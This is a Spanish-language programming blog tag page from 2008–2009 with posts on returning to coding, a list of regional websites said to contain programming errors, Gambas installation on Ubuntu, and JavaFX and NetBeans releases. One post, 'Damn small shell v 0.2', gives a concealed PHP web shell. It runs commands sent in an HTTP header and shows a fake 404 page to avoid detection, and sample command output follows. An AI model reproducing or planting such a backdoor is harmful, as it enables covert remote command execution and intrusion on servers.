Posts Tagged ‘Programación’

Retomando la programación

March 13th, 2009

Hace tres días platicaba con un amigo que trabaja como programador en una empresa donde casi todos sus compañeros programadores renunciaron y se quedo prácticamente solo, puesto que el otro programador que trabaja con el es un estudiante y pues no es experto en el lenguaje que ellos manejan, aparte me dice que el morrillo esta bien ñoño y que al parecer no sabe programar muy bien que digamos.

Y pues gracias a esta platica me sentí un poco motivado por programar para no oxidarme, bueno si he seguido programando pero en PHP y un poco de gambas 2, el primero es un lenguaje de programación web y el segundo pues nunca he escuchado de una empresa o alguien que programe en gambas aquí en Mexicali.

Gracias a twitter el otro día vi que @putrick estaba hablando de unas practicas que le dejaron y pues como las de la uni ya están bien quemadas decidí pedirle sus practicas xD para hacerlas y seguir practicando, según las iba empezar hacer ese mismo día que me las paso pero me puse a mensiar y no hice nada, lo único que hice fue descargar el netbeans 6.5 porque en windows solo tenia mi super poderozo chingonsisisisisisisismo Netbeans 3.2!! una ves descargado lo instale pero hasta ahí la deje :P . Pero ayer lo abrí todo decidido y me puse a programar la primera practica que es de vectores, la practica esta fácil pero creo que me engrane mucho en las validaciones y se hizo un poco larga jaja.

350 lineas de código constituyen este programa donde el método mas corto que pude hacer fue el de copiar un vector a otro, método por el cual una ves fui regañado por mi queridisima maestra Quizán de la uni, la que una ves me dijo, “Ahora me toca revisarle a mi consentido” :O!!! un amigo me odio toda la carrera al escuchar eso jaja. Bueno, la regañada se debió a que mi profe quería que creara un método donde fuera enviando dato x dato de un vector a otro utilizando un ciclo, Después de la explicada le respondí: ¿Que no se supone que la programación debe facilitar las cosas? ya se que sirve para practicar pero que diablos! lo que yo quiero es ahorrar lineas de código u_u’ , quitando lo de que diablos fue lo que le respondí, de todas formas al final me hizo hacerlo como ella quería duhh..
» Leer el resto de la entrada: Retomando la programación

Top 20 paginas de BC con errores de programación

February 14th, 2009

Buena acción del día número #3

Esta lista la hice el año pasado y se me había olvidado hacerla pública, así que hoy salen a la luz todas estas webs que contienen algún error de programación en ella, por lo tanto BAD NEWS!.

El orden no tiene nada que ver, todas tienen algo jodido, en algunas es una tontería y en otras algo mas hardcore.

Top 20

1.- fiestasdelsol.com.mx
2.- seriedelcaribe2009.net
3.- radiopatrulla.com
4.- famsa.com
5.- ligadelpacifico.com.mx
6.- mexicaliturismo.com
7.- mafratijuana.com
8.- www.mxl.cetys.mx
9.- campus.mxl.uabc.mx
10.- conalep.edu.mx
11.- intercampusweb.com
12.- starcinemas.net
13.- cinepolis.com.mx
14.- muebleslunanueva.com
15.- www.univer.com.mx
16.- plazalacachanilla.com
17.- casaley.com.mx
18.- laventanadeensenada.com
19.- empleosdetijuana.com
20.- cecytebc.edu.mx

Edito: Agrego los pilones.
21.- faspdesigns.com
22.- eventosvip.com <– Horrible diseño, parece estar hecha en FrontPage.

Si alguna es de ustedes, chekenla ;)

Como dirían los de Soda Estéreo, Nada!! oh! oh! oh! nada personal.
oh ! oh! oh!..

Damn small shell v 0.2

February 13th, 2009

Un pequeño script anti-tontos en php, lo suben a su servidor y pueden ejecutar comandos como si fuera la consola de linux o el cmd de windows.

He hecho lo posible por que pase desapersivido el archivo, si intentan entrar desde navegador aparecerá :404 – Archivo no encontrado, pero pueden cambiarlo por un NOT FOUND o lo que quieran y así si alguien externo a ustedes lo encuentra no sabrá que onda xD

Forma de usarlo: ^^ averiguenla si son buenos con el php ;)

Les dejo el Script.

Inicio PHP
$var=getenv(‘HTTP_ACCEPT_dmd’);
echo’404 – Archivo no encontrado‘;
echo “\n\n”;
$a=$var; $var=0;
if(strstr($a,’xD’)==’xD’)
{echo `$a`;}
Fin PHP

Así debe quedar.
Funciona tanto en windows como en linux, claro! teniendo php instalado en el servidor.

WINDOWS un Dir C:

El volumen de la unidad C no tiene etiqueta.
El n£mero de serie del volumen es: E8A0-7E45
Directorio de C:\AppServ\www
12/02/2009 17:52 .
12/02/2009 17:52 ..
29/08/2008 06:50 6.205 Affiliates_v1-1.zip
27/10/2008 17:5027/10/2008 16:53 331.370 ajax_im_3.41_yui.zip
07/09/2008 18:50 appserv
06/02/2009 19:25 carma
07/09/2008 18:50 cgi-bin
29/08/2008 06:47 393.312 Classv1_20Beta.zip

LINUX un ls -al;

-rw-r–r– 1 daniel daniel 490 Nov 3 2008 index.html
-rw-r–r– 1 daniel daniel 2540 Jul 16 12:42 archivo.html
-rw-r–r– 1 daniel daniel 3668 Nov 3 2008 zuper.php
lrwxr-xr-x 1 root www 36 Nov 20 2008 stat -> /home/awstats/
-rwxr-xr-x 1 daniel daniel 221 Nov 3 2008 style.css
-rw-r–r– 1 daniel daniel 490 Nov 3 2008 car
-rwxr-xr-x 1 daniel daniel 1086 Nov 3 2008 dan.htm
-rw-r–r– 1 daniel daniel 8014 Nov 3 2008 youknow.gif

Algunos comandos para unix
ls -al <–lista todos los archivos y los permisos
find y locate <– son para búsqueda de archivos.
mv <– mover archivos y directorios.
mkdir<–crea directorios
rm <– remover archivos y directorios
wget<– descargar archivos al igual que
curl echo <–mostrar mensajes y escribir en archivos
pwd <– muestra la ruta en la que te encuentras
cd <– para subir y bajar directorios

Algunos comandos para windows.
dir <– mostrar directorios
copy <–copiar archivos y directorios
rename <–renombrar archivos y directorios
mkdir <–crear direcotorios
rmdir <–remover directorios o archivos
tree <–arbol de directorios Hay mas pero son los que me acuerdo ahorita, búsquenle en google.

Comandos para cmd
Comandos para unix

¿Que es getenv?
Obtiene el contenido de una variable de entorno DOS

Sintaxis
GETENV() –> cCadena
Argumentos
es el nombre de la variable de entorno del DOS. Cuando se especifica este argumento, puede utilizarse cualquier combinación de letras mayúsculas y minúsculas; GETENV() no es sensible a las mayúsculas y minúsculas.
Devuelve
GETENV() devuelve el contenido de la variable de entorno del DOS especificada como una cadena de caracteres. Si no se puede localizar la variable, GETENV() devuelve una cadena nula (“”).
Descripción
GETENV() es una función de entorno que le permite obtener información del entorno DOS en un programa de aplicación. Normalmente, ésta es la información de la configuración, incluyendo los nombres de vía que proporcionan la situación de los ficheros (base de datos, índice, etiqueta o informes). Esta función es particularmente útil en entornos de red.

Mas info de getenv: tinet.org

Sale bitches a ponerse a pensar un rato ;)

Que es Gambas y como instalarlo en ubuntu 8.10

December 26th, 2008

Un amigo me pregunto por el msn que si sabía programar en gambas y yo le dije que no, que no sabía ni que chingados era esa cosa :P , me platico lo que era, pero le hice al loco y me fui de mi casa, regrese, cerré la ventana del msn y ya no pude ver lo que me dijo jaja.

Como no guardo las conversaciones tuve que preguntarle a google y esto fue lo que respondió.

¿Que es Gambas?

Gambas es un entorno de desarrollo integrado para la creación de todo tipo de aplicaciones sobre sistemas GNU/Linux. Basado en el lenguaje de programación BASIC, ofrece todas las facilidades para generar aplicaciones de todo tipo:

  • Aplicaciones de texto
  • Aplicaciones gráficas basadas en GTK+/Gnome y QT/KDE
  • Servicios Web
  • Gestión de bases de datos: MySQL, PostgreSQL, Firebird, SQLite, ODBC
  • Redes: sockets, HTTP, FTP
  • Trabajo con XML y XSLT
  • Diseño gráfico en 2D y 3D: SDL, OpenGL
  • Empaquetado y despliegue sencillo de aplicaciones en diferentes distribuciones
  • Internacionalización: Soporte integrado de traducción de aplicaciones.

Vía: Proyecto Gnulinex en español
También tiene un libro en formato sxw.y lo pueden descargar para verlo con openoffice

http://gambas.gnulinex.org/libro/

Instalándolo en Ubuntu 8.10

1.- Abrimos una consola y escribimos :

sudo aptitude install gambas2

comienzan a leerse los paquetes que necesitaremos y por ultimo nos dirá que se ocupan descargar 23 megas, le decimos que si escribiendo una “Y” y presionamos enter para que los descargue.

Otra forma que encontré para instalarlo es www.emete.es/node/16, solo que es para Ubuntu Feisty y no se si para el hardy sea igual.

Si todo salio bien, ahora podemos ver la siguiente pantalla de bienvenida donde vemos el menú para crear nuevos proyectos y algunos buenos ejemplos con los que cuenta gambas.


Abrí uno de los ejemplos que vienen ahí, pero a la hora de intentar correrlo no me dejo porque dice que solo los puedo leer :( sad..

De todas formas leyendo el código pude hacer un pequeño ejemplo al puro estilo del hola mundo.

Ejemplo de programación con gambas 2.7.

1.-Damos click en el botón donde dice Nuevo proyecto
2.-Seleccionamos la primera opción que dice: Aplicación Gráfica y damos siguiente.


3.-Seleccionamos el directorio donde vamos a guardar el proyecto

4.-Escribimos el nombre del proyecto, un titulo y damos ok.

5.-Nos aparece una forma donde crearemos un pequeño botón.

6.-Para eso damos click en el icono que tiene la figura de un botón del lado derecho de la pantalla y dentro de la forma damos un click izquierdo sin soltar el botón y estiramos hasta que nuestro botón quede d
el tamaño que deseamos.
7.-Ahora le damos doble click al botón para que nos mande al código del botón y escribimos lo siguiente

Message.Info(“Saludos!!”)

(aquí tuve un error de ponerle “;” jaa!.. che java y c)

Esto hará que al momento de darle click al botón saldrá una ventanita saludando.

8.- Para cambiar lo que dice dentro del botón nos vamos a la parte derecha de la pantalla y en propiedades se encuentra el campo Text que es donde modificaremos lo que aparece dentro del botón.
9.-Corremos el programa con la flecha run que aparece en la barra de arriba y nos saldrá el programa que hemos creado con el botánico.

10.- Le damos click al botón y nos mostrara el mensaje saludando que le agregamos :)

Y tan tan, nuestro primer programita en gambas, para quienes no lo conocían como yo, pues ya tienen otra alternativa GRATUITA para programar parecido al Basic.

Pagina oficial
gambas.sourceforge.net
Mas info en español aquí
Emete.es

Crear un MediaPlayer con JavaFX

December 12th, 2008

En el siguiente video se puede ver como crear un Reproductor de video de una manera rápida y sencilla utilizando JavaFX.

(click para reproducir)

Si quieren seguir viendo más videos de este tipo visiten la página de tv de NetBeans, seguro aprenden algo nuevo :) .


Fuente :MediaPlayer con JavaFX

JavaFX 1.0 liberado.

December 4th, 2008


Hace unas horas fue liberada la versión 1.0 de JavaFX la cual es una nueva tecnología de Sun Microsistems para la creación de RIA’s

Algunas de sus caracteristicas son:

  • Soporte 3D
  • Soporte Nativo para Audio
  • Soporte Nativo para videos
  • Nuevo set rico de componentes visuales
  • Soporte para animaciones
  • Soporte para exportar desde Photoshop a netbeans
  • Soporte para crear proyectos en Netbeans
  • Soporte para dispositivos mobiles
  • y mucho, mucho más.

JavaFX pretende ser la competencía de Flash y Silverlight.

Para descargarlo y ver algunos demos de lo que se puede hacer con esta aplicación que por el momento solo esta disponible para Windows y Mac, pueden visitar el siguiente enlace.

Fuentes: Twitter NetBeans y Javahispano.org

NetBeans IDE 6.5 ya esta disponible

November 19th, 2008
Para los amantes de la programación en JAVA!!.

Estaba revisando el mail cuando veo que anoche me llego uno por parte de netbeans.org diciendo que NetBeans IDE 6.5 ya esta disponible para descargar y usarlo.

Así que les dejo una parte del mail donde explican algo con lo que cuenta esta versión y si lo quieren probar o actualizarse, pues ahí lo tienen calientito y recien salido del comal.

NetBeans™ IDE 6.5 offers simplified and rapid development of web, enterprise, desktop, and mobile applications with PHP, JavaScript, Java, C/C++, Ruby, and Groovy.

New features include a robust IDE for PHP, JavaScript debugging for Firefox and IE, and support for Groovy and Grails. NetBeans IDE 6.5 also delivers a number of enhancements for Java, Ruby on Rails, and C/C++ development. Java highlights include: built-in support for Hibernate, Eclipse project import, and compile on save.

Combining excellent out of the box experience, compelling features, and a great plugin ecosystem, NetBeans IDE 6.5 is a must-download for all developers.

Para descargarlo Download NetBeans IDE 6.5
    • Pagina 1 de 2
    • 1
    • 2
    • >